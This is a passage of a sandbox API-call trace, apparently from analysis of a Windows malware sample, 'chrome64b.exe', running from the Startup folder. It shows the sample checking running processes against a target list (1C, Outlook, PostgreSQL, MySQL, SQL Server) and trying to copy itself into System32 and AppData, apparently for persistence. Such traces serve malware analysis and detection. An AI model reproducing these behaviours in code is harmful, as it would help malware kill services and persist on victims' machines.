lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0252.109] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0252.109] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0252.109] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0252.109] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0252.109] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0252.109] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0252.109] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0252.109] lstrlenW (lpString="smss.exe") returned 8 [0252.109] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0252.109] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0252.109] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0252.109] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0252.109] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0252.109] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0252.109] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0252.109] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.109] lstrlenW (lpString="csrss.exe") returned 9 [0252.109] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0252.109] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0252.109] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0252.109] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0252.109] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0252.109] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0252.110] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0252.110] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0252.110] lstrlenW (lpString="wininit.exe") returned 11 [0252.110] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0252.110] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0252.110] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0252.110] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0252.110] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0252.110] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0252.110] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0252.110] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.110] lstrlenW (lpString="csrss.exe") returned 9 [0252.110] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0252.110] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0252.110] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0252.110] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0252.110] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0252.110] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0252.110] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0252.110] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0252.110] lstrlenW (lpString="winlogon.exe") returned 12 [0252.111] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0252.111] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0252.111] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0252.111] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0252.111] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0252.111] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0252.111] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0252.111] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0252.111] lstrlenW (lpString="services.exe") returned 12 [0252.111] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0252.111] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0252.111] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0252.111] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0252.111] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0252.111] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0252.111] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0252.111] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0252.111] lstrlenW (lpString="lsass.exe") returned 9 [0252.111] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0252.111] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0252.111] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0252.111] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0252.111] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0252.111] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0252.111] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0252.111] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0252.112] lstrlenW (lpString="lsm.exe") returned 7 [0252.112] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0252.112] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0252.112] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0252.112] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0252.112] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0252.112] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0252.112] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0252.112] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.112] lstrlenW (lpString="svchost.exe") returned 11 [0252.112] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0252.112] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0252.112] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0252.112] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0252.112] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0252.112] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0252.112] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0252.112] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.112] lstrlenW (lpString="svchost.exe") returned 11 [0252.112] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0252.112] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0252.112] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0252.113] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0252.113] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0252.113] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0252.113] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0252.113] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.113] lstrlenW (lpString="svchost.exe") returned 11 [0252.113] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0252.113] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0252.113] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0252.113] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0252.113] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0252.113] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0252.113] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0252.113] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1a8, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0252.113] lstrlenW (lpString="LogonUI.exe") returned 11 [0252.113] lstrcmpiW (lpString1="1c8.exe", lpString2="LogonUI.exe") returned -1 [0252.113] lstrcmpiW (lpString1="1cv77.exe", lpString2="LogonUI.exe") returned -1 [0252.113] lstrcmpiW (lpString1="outlook.exe", lpString2="LogonUI.exe") returned 1 [0252.113] lstrcmpiW (lpString1="postgres.exe", lpString2="LogonUI.exe") returned 1 [0252.113] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="LogonUI.exe") returned 1 [0252.113] lstrcmpiW (lpString1="mysqld.exe", lpString2="LogonUI.exe") returned 1 [0252.113] lstrcmpiW (lpString1="sqlservr.exe", lpString2="LogonUI.exe") returned 1 [0252.113] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.114] lstrlenW (lpString="svchost.exe") returned 11 [0252.114] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0252.114] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0252.114] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0252.114] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0252.114] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0252.114] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0252.114] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0252.114] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.114] lstrlenW (lpString="svchost.exe") returned 11 [0252.114] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0252.114] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0252.114] lstrlenW (lpString="audiodg.exe") returned 11 [0252.114] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.115] lstrlenW (lpString="svchost.exe") returned 11 [0252.115] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.115] lstrlenW (lpString="svchost.exe") returned 11 [0252.115] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0252.115] lstrlenW (lpString="dllhost.exe") returned 11 [0252.115] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0252.115] lstrlenW (lpString="userinit.exe") returned 12 [0252.115] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0254.011] lstrlenW (lpString="dwm.exe") returned 7 [0254.012] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0254.012] lstrlenW (lpString="explorer.exe") returned 12 [0254.012] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0254.012] lstrlenW (lpString="spoolsv.exe") returned 11 [0254.012] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0254.012] lstrlenW (lpString="taskhost.exe") returned 12 [0254.012] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.012] lstrlenW (lpString="svchost.exe") returned 11 [0254.012] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="runonce.exe")) returned 1 [0254.013] lstrlenW (lpString="runonce.exe") returned 11 [0254.013] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0254.013] lstrlenW (lpString="chrome64b.exe") returned 13 [0254.013] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 0 [0254.013] CloseHandle (hObject=0xe0) returned 1 [0254.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579528 | out: hHeap=0x540000) returned 1 [0254.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579570 | out: hHeap=0x540000) returned 1 [0254.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5795b8 | out: hHeap=0x540000) returned 1 [0254.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5795d8 | out: hHeap=0x540000) returned 1 [0254.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579620 | out: hHeap=0x540000) returned 1 [0254.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574d50 | out: hHeap=0x540000) returned 1 [0254.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579488 | out: hHeap=0x540000) returned 1 [0254.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5794c0 | out: hHeap=0x540000) returned 1 [0254.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5545f8 | out: hHeap=0x540000) returned 1 [0254.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x554620 | out: hHeap=0x540000) returned 1 [0254.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579508 | out: hHeap=0x540000) returned 1 [0254.013] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x554648 | out: hHeap=0x540000) returned 1 [0254.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x57f0c8 [0254.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x58f0d0 [0254.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d50 [0254.014] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d50, Size=0x20) returned 0x554648 [0254.014] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x554648, Size=0x40) returned 0x57ac00 [0254.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d50 [0254.014] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d50, Size=0x20) returned 0x554648 [0254.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d50 [0254.014] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d50, Size=0x20) returned 0x554620 [0254.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d50 [0254.014] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d50, Size=0x20) returned 0x5545f8 [0254.014] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5545f8, Size=0x40) returned 0x57ac48 [0254.014] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x58f0d0, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe")) returned 0x69 [0254.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x59f0d8 [0254.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x5af0e0 [0254.014] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d50 [0254.014] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d50, Size=0x20) returned 0x5545f8 [0254.014] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5545f8, Size=0x40) returned 0x57ac90 [0254.014] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57ac90, Size=0x80) returned 0x579508 [0254.014] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579508, Size=0x100) returned 0x57be18 [0254.014] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0254.014] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57be18 | out: hHeap=0x540000) returned 1 [0254.014] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\chrome64b.exe", lpDst=0x59f0d8, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\chrome64b.exe") returned 0x22 [0254.014] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5af0e0 | out: hHeap=0x540000) returned 1 [0254.014] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59f0d8 | out: hHeap=0x540000) returned 1 [0254.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100000) returned 0x2030020 [0254.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d50 [0254.015] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d50, Size=0x20) returned 0x5545f8 [0254.015] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d50 [0254.015] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d50, Size=0x20) returned 0x579bc8 [0254.015] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75030000 [0254.015] GetProcAddress (hModule=0x75030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7505d650 [0254.015] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0254.015] lstrlenW (lpString="kernel32.dll") returned 12 [0254.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5545f8 | out: hHeap=0x540000) returned 1 [0254.015] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0254.015] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579bc8 | out: hHeap=0x540000) returned 1 [0254.015] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.015] CreateFileW (lpFileName="C:\\Windows\\System32\\chrome64b.exe" (normalized: "c:\\windows\\system32\\chrome64b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.016] CloseHandle (hObject=0xe0) returned 1 [0254.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d50 [0254.016] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d50, Size=0x20) returned 0x579bc8 [0254.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d50 [0254.016] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d50, Size=0x20) returned 0x579b78 [0254.016] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75030000 [0254.016] GetProcAddress (hModule=0x75030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7505d650 [0254.016] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0254.016] lstrlenW (lpString="kernel32.dll") returned 12 [0254.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579b78 | out: hHeap=0x540000) returned 1 [0254.016] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0254.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579bc8 | out: hHeap=0x540000) returned 1 [0254.016] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2030020 | out: hHeap=0x540000) returned 1 [0254.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x59f0d8 [0254.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x5af0e0 [0254.016] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x574d50 [0254.016] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x574d50, Size=0x20) returned 0x579bc8 [0254.017] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579bc8, Size=0x40) returned 0x57ac90 [0254.017] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57ac90, Size=0x80) returned 0x5bf100 [0254.017] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5bf100, Size=0x100) returned 0x57be18 [0254.017] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0254.017] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x57be18 | out: hHeap=0x540000) returned 1 [0254.017] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\chrome64b.exe", lpDst=0x59f0d8, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\chrome64b.exe") returned 0x3c [0254.017] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5af0e0 | out: hHeap=0x540000) returned 1 [0254.017] HeapFree (in: 